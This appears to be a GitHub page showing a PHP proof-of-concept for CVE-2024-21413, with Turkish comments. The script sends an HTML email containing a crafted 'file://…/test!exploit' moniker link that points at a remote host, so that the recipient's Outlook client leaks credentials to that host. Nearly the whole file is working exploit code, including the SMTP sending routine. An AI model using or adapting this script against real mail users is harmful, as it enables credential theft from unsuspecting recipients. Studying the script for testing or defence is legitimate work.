-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathindex.php
55 lines (30 loc) · 1.36 KB
/
index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<h1>CVE-2024-21413 Açığı Testi</h1>
<?php
$mail_html='<!DOCTYPE html>
<html lang="en">
<p><a href="file://192.168.1.128/test!exploit">Click me</a></p>
</body>
</html>';
require("class.phpmailer.php");
$mail = new PHPMailer(); // create a new object
$mail->IsSMTP(); // enable SMTP
$mail->SMTPDebug = 1; // debugging: 1 = errors and messages, 2 = messages only
$mail->SMTPAuth = true; //SMTP server'a kullanici adi ile baglanilcagini belirtiyoruz
$mail->SMTPSecure = false;
$mail->SMTPAutoTLS = false;
$mail->Host = "mail.server.com"; // mail server gireceğiz
$mail->Port = 587; // or 587
$mail->IsHTML(true);
$mail->SetLanguage("tr", "phpmailer/language");
$mail->CharSet ="utf-8";
$mail->Username = "[email protected]"; // Mail adresi
$mail->Password = "parolaSifre"; // Parola
$mail->SetFrom("[email protected]","MSD Test"); // Mail adresi
$mail->AddAddress("[email protected]"); // Gönderilecek kişi
$mail->Subject = "Bu Bir Saldırı Mailidir !! Test Amaçlı";
$mail->Body = $mail_html;
if(!$mail->Send()){
echo "Mailer Error: ".$mail->ErrorInfo;
} else {
echo "Mail Gönderme Başarılı";
}